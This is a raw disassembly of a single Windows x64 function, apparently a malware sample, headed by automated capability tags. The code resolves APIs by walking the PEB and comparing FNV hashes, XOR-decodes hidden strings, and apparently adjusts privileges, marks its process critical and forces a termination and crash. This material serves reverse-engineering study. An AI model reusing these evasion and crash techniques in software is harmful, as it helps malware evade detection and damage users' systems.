Function at 0x140393e50
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b8]
sub rsp, 0x2b8
mov r14d, edx
xor r15d, r15d
mov dword [rbp + 0x210], r15d
mov esi, r15d
mov dword [rbp + 0x218], r15d
movabs r12, 0x59acf7166d748c06
movabs r13, 0xb282ea1e78be20a2
nop dword [rax + rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140393f36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140393f36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x9948c550
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140393f31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140393f10
cmp r8d, 0xe7f8f04b
je 0x140393f3b
test r9d, r9d
jne 0x140393ef0
mov rax, qword [rax]
jmp 0x140393ec0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0x218]
mov r8d, dword [rbp + 0x218]
mov rdx, rsi
mov ecx, r14d
call r10
cmp eax, 0xc0000004
jne 0x14039480c
test rsi, rsi
je 0x140394031
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140394006
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140394006
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe6d75aa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140394001
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140393fe0
cmp r8d, 0x16c2a75f
je 0x14039400b
test r9d, r9d
jne 0x140393fc0
mov rax, qword [rax]
jmp 0x140393f90
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call r9
mov eax, dword [rbp + 0x218]
add eax, eax
mov dword [rbp + 0x218], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1403940c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1403940c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r11]
add rcx, r11
mov r8d, 0x2ab8c4e9
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1403940c1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1403940a0
cmp r8d, 0xa2309e2d
je 0x1403940cb
test r9d, r9d
jne 0x140394080
mov rax, qword [rax]
jmp 0x140394050
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, dword [rbp + 0x218]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call r10
mov rsi, rax
test rax, rax
jne 0x140393ea0
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x78], rax
movabs rax, 0x83531703619dea5c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x80], rax
movabs rax, 0x82b3880ac3bb1b64
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x78], rax
movabs rax, 0x3d76346948f226a8
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x70], rax
movabs rax, 0x9ee5275c77b2d636
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x68], rax
movabs rax, 0x4b0081e48b5c6e07
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x60], rax
movabs rax, 0x12f7997743e7a2c1
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x58], rax
movabs rax, 0x78a9df348a72ddfe
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x50], rax
movabs rax, 0x5e0b42a7ebe82dcf
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x48], rax
movabs rax, 0x2ade92653828b645
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x90], rax
movabs rax, 0xd7c6b66c1dcd75fe
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x98], rax
movabs rax, 0xf6324b730ee9812f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
movabs rax, 0xdec0f87aa29b7310
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0x55561949208653c9
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rax, 0xff8a4b0004c2a242
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
movabs rax, 0x1763f397d72e0b63
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xc0], rax
movabs rax, 0x779eed1e2f8ed6b4
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xc8], rax
movabs rax, 0xcc0b35dfe07818d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd0], rax
movabs rax, 0x5e7b32c4c59b48a6
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp - 0x50], xmm0
lea r9d, [rsi + 0x6d]
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], sil
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], sil
mov ebx, dword [rbp + 0x210]
or ebx, 1
mov dword [rbp + 0x210], ebx
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x60]
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
bts ebx, 0xa
mov dword [rbp + 0x210], ebx
lea rdx, [rbp + 0x10]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140394434
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14039442f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394ede
call fcn.140419458
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
test bl, 2
je 0x1403944a5
and ebx, 0xfffffffd
mov dword [rbp + 0x210], ebx
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x140394493
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14039448e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394ee4
call fcn.140419458
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
test bl, 1
je 0x140394503
and ebx, 0xfffffffe
mov dword [rbp + 0x210], ebx
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1403944f0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403944eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394eea
call fcn.140419458
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
mov byte [rbp + 0x208], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140394596
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140394596
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x6304403c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140394591
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140394570
cmp r8d, 0xb0cd0528
je 0x14039459b
test r9d, r9d
jne 0x140394550
mov rax, qword [rax]
jmp 0x140394520
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0x208]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x28], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140394656
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140394656
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x640441cf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140394651
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140394630
cmp r8d, 0x108f2074
je 0x14039465b
test r9d, r9d
jne 0x140394610
mov rax, qword [rax]
jmp 0x1403945e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x28]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140394716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140394716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x61043d16
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140394711
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1403946f0
cmp r8d, 0x9edbe700
je 0x14039471b
test r9d, r9d
jne 0x1403946d0
mov rax, qword [rax]
jmp 0x1403946a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1403947f4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403947ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394ef0
call fcn.140419458
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
jmp 0x140393ea0
test eax, eax
je 0x140394ec1
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x40], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x38], rax
movabs rax, 0x83531703619dea5c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x30], rax
movabs rax, 0x82b3880ac3bb1b64
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x28], rax
movabs rax, 0x3d76346948f226a8
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x20], rax
movabs rax, 0x9ee5275c77b2d636
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x18], rax
movabs rax, 0x4b0081e48b5c6e07
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x10], rax
movabs rax, 0x12f7997743e7a2c1
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 8], rax
movabs rax, 0x78a9df348a72ddfe
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp], rax
movabs rax, 0x5e0b42a7ebe82dcf
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 8], rax
movabs rax, 0x2ade92653828b645
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xe0], rax
movabs rax, 0xd7c6b66c1dcd75fe
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xe8], rax
movabs rax, 0xf6324b730ee9812f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xf0], rax
movabs rax, 0xdec0f87aa29b7310
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xf8], rax
movabs rax, 0x55561949208653c9
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x100], rax
movabs rax, 0xff8a4b0004c2a242
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x108], rax
movabs rax, 0x1763f397d72e0b63
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x110], rax
movabs rax, 0x779eed1e2f8ed6b4
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x118], rax
movabs rax, 0xcc0b35dfe07818d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x120], rax
movabs rax, 0x5e7b32c4c59b48a6
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
pxor xmm1, xmmword [rbp + 0xf0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp], xmm0
mov r9d, reloc.WS2_32.dll_WSAStartup
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x70]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x170], 0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
mov ebx, dword [rbp + 0x210]
or ebx, 4
mov dword [rbp + 0x210], ebx
lea r8, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r8, qword [rbp + 0x70]
mov r9, qword [rbp + 0x80]
xor edx, edx
lea rcx, [rbp + 0x50]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 0xb
mov dword [rbp + 0x210], ebx
lea rdx, [rbp + 0x130]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140394b59
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140394b53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394ef6
call fcn.140419458
nop
test bl, 8
je 0x140394ba3
and ebx, 0xfffffff7
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x140394ba3
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140394b9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394efc
call fcn.140419458
nop
test bl, 4
je 0x140394be3
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140394be3
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140394bde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394f02
call fcn.140419458
mov byte [rbp + 0x200], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140394c76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140394c76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x96c11224
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140394c71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140394c50
cmp r8d, 0xbc791a0
je 0x140394c7b
test r9d, r9d
jne 0x140394c30
mov rax, qword [rax]
jmp 0x140394c00
mov edx, dword [rdi + 0x1c]
add rdx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rdx + rax*4]
add r10, r11
lea r9, [rbp + 0x200]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x2c], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140394d36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140394d36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x99c116dd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140394d31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140394d10
cmp r8d, 0xd0706e42
je 0x140394d3b
test r9d, r9d
jne 0x140394cf0
mov rax, qword [rax]
jmp 0x140394cc0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x2c]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140394df6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140394df6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x98c1154a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140394df1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140394dd0
cmp r8d, 0xdc9c3eb4
je 0x140394dfb
test r9d, r9d
jne 0x140394db0
mov rax, qword [rax]
jmp 0x140394d80
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140394ec1
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140394ebc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140394ed8
call fcn.140419458
mov rax, rsi
add rsp, 0x2b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
int3